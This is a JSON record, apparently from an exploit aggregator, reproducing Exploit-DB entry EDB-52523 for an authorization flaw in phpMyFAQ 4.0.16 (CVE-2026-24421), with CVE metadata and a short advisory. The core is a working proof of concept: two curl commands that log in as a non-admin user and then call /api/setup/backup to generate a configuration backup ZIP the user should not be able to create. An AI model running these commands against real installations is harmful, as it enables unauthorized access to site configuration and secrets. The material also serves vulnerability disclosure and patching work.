{"exploit":{"id":"EDB-52523","name":"phpMyFAQ 4.0.16 - Improper Authorization","description":"phpMyFAQ 4.0.16 - Improper Authorization","cves":["CVE-2026-24421"],"author":"contact","published":"2026-04-29","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52523","path":"exploits/php/webapps/52523.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52523.txt","vulnerabilities":[{"id":"CVE-2026-24421","state":"PUBLISHED","title":"phpMyFAQ missing authorization exposes /api/setup/backup to any authenticated user","titleSource":"CVE Program","description":"phpMyFAQ is an open source FAQ web application. Versions 4.0.16 and below have flawed authorization logic which exposes the /api/setup/backup endpoint to any authenticated user despite their permissions. SetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration/admin permissions. Non-admin users can trigger a configuration backup and retrieve its path. The endpoint only checks authentication, not authorization, and returns a link to the generated ZIP. This issue is fixed in version 4.0.17.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24421","cvss":{"version":"3.1","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24421"},"updatedAt":"2026-01-26T16:17:14.650Z","retrievedAt":"2026-11-25T16:31:21.239Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52523.png?v=2","url":"https://exploitbin.com/exploits/EDB-52523","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52523/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52523/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: phpMyFAQ <= 4.0.16 - Improper Authorization\n# Google Dork: N/A\n# Date: 2026-01-23\n# Exploit Author: GUIA BRAHIM FOUAD\n# Vendor Homepage: https://www.phpmyfaq.de/\n# Software Link: https://www.phpmyfaq.de/download/\n# Version: <= 4.0.16 (REQUIRED)\n# Tested on: Ubuntu 22.04, Apache 2.4.52, PHP 8.2.x, MariaDB 10.6.x\n# CVE: CVE-2026-24421\n\n## Summary\nAuthenticated non-admin users can call /api/setup/backup and trigger a configuration backup. The endpoint checks authentication but does not enforce authorization (missing configuration/admin permission check), and returns a link/path to the generated ZIP.\n\n## Details\nSetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration/admin permissions. This allows any logged-in user to create a sensitive backup and retrieve its path.\n\n## PoC\nPrecondition: API enabled, any authenticated non-admin user.\n\n1) Log in as a non-admin user:\ncurl -c /tmp/pmf_api_cookies.txt \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"tester\",\"password\":\"Test1234!\"}' \\\n  http://192.168.40.16/phpmyfaq/api/v3.0/login\n\n2) Trigger backup generation:\ncurl -i -b /tmp/pmf_api_cookies.txt \\\n  -X POST --data '4.0.16' \\\n  http://192.168.40.16/phpmyfaq/api/setup/backup\n\n## Expected Result\nThe API responds successfully and includes a link/path to the generated ZIP backup even though the caller is not an admin / does not have configuration-edit permissions.\n\n## Impact\nLow-privileged users can generate sensitive backups. If the ZIP is web-accessible (server misconfiguration), this can lead to exposure of secrets/configuration and facilitate follow-on compromise.\n\n## References\n- GitHub Advisory: GHSA-wm8h-26fv-mg7g","sha256":"a6c56fe1247457c9218d5104d06c4c5a8d75e4d504a118e91cc1c9ed3866be3a","bytes":1713,"fetchedAt":"2026-11-26T11:17:54.239Z","encoding":"utf-8 (display only; download retains original bytes)"}